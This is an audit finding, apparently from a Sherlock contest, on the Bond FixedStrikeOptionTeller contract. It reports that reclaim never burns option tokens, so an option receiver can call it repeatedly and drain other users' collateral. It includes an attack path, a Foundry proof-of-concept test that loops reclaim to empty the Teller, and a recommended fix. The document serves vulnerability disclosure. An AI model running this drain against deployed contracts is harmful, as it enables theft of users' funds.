Unrestricted reclaim of payout/quote tokens allows user to steal all collateral from Teller

Summary

Any receiver of an expired FixedStrikeOptionToken can call reclaim multiple times to steal all payout or quote token collateral held in Teller (other users' funds).

Vulnerability Detail

The reclaim function allows the receiver of an expired FixedStrikeOptionToken to reclaim its remaining collateral. The totalSupply of the option token is the amount of remaining collateral to repay in payoutToken units. If the option is a call option, this amount of payoutToken is transferred to the receiver (the caller). Otherwise, for a put option, the equivalent amount in quoteToken is transferred to the receiver. The issue is the reclaimed option tokens are not burned. Consequently, the receiver holds the same amount of option tokens after reclaiming, and can reclaim multiple times to steal all payout/quote token collateral (determined by the option config) held by the Teller contract.

Impact

Loss of funds for users who have created options with the targeted payout/quote token as collateral, as well as protocol insolvency since affected option tokens are no longer collateralised.

Code Snippet

https://github.com/sherlock-audit/2023-06-bond/blob/fce1809f83728561dc75078d41ead6d60e15d065/options/src/fixed-strike/FixedStrikeOptionTeller.sol#L395-L437

PoC

A possible attack path using a call option is detailed below. Assume the Teller currently holds 1000e18 Token A as collateral due to users creating option tokens, and the balance does not change apart from Alice's deposit.

Alice deploys a call option token with herself as the receiver, the payoutToken as TokenA, the quote token as Token B, and the eligible and expiry times to just satisfy the minOptionDuration.
She creates 100e18 of her option tokens, depositing 100e18 Token A so the Teller's current Token A balance is 1100e18.
When her option tokens expire, she calls reclaim 11 times. Each time, the Teller transfers 100e18 Token A to her address, stealing all Token A collateral.
(This can be repeated for other tokens)

The test below demonstrates the ability to call reclaim multiple times and steal other's funds. It should be successful if added to the FixedStrikeOption tests.

function testMultipleReclaim() public {
        // Deploy call option token
        uint256 strikePrice = 5 * 10 ** def.decimals();
        FixedStrikeOptionToken optionToken = teller.deploy(
            abc, // ERC20 payoutToken
            def, // ERC20 quoteToken
            uint48(0), // uint48 eligible (timestamp) - today
            uint48(block.timestamp + 8 days), // uint48 expiry (timestamp) - 20220109
            alice, // address receiver
            true, // bool call (true) or put (false)
            strikePrice // uint256 strikePrice
        );
        FixedStrikeOptionToken bobOptionToken = teller.deploy(
            abc, // ERC20 payoutToken
            def, // ERC20 quoteToken
            uint48(0), // uint48 eligible (timestamp) - today
            uint48(block.timestamp + 8 days), // uint48 expiry (timestamp) - 20220109
            bob, // address receiver
            true, // bool call (true) or put (false)
            strikePrice // uint256 strikePrice
        );

        // Mint option tokens by depositing collateral (payout tokens)
        uint256 amount = 100 * 10 ** abc.decimals();
        vm.prank(alice);
        teller.create(optionToken, amount);
        vm.prank(bob);
        teller.create(bobOptionToken, amount * 100);

        // Warp forward past expiry
        vm.warp(block.timestamp + 9 days);

        uint256 alicePayoutStart = abc.balanceOf(alice);
        uint256 tellerPayoutStart = abc.balanceOf(address(teller));

        // Multiple reclaims to drain collateral
        uint256 i;
        while (abc.balanceOf(address(teller)) >= amount) {
            vm.prank(alice);
            teller.reclaim(optionToken);
            ++i;
        }

        assertEq(abc.balanceOf(alice), alicePayoutStart + i * amount);
        assertEq(abc.balanceOf(address(teller)), tellerPayoutStart - i * amount);
        // Note: option tokens are not burned on a reclaim, they just remain in place since they are expired
}

Tool used

Manual Review

Recommendation

Burning the option tokens reclaimed seems like the easiest choice, though the test comments suggest leaving the tokens as expired is desired. In this case, it might be necessary to track user collateral in the Teller.

Duplicate of #79

sherlock-audit / 2023-06-bond-judging

Kow - Unrestricted reclaim of payout/quote tokens allows user to steal all collateral from Teller #101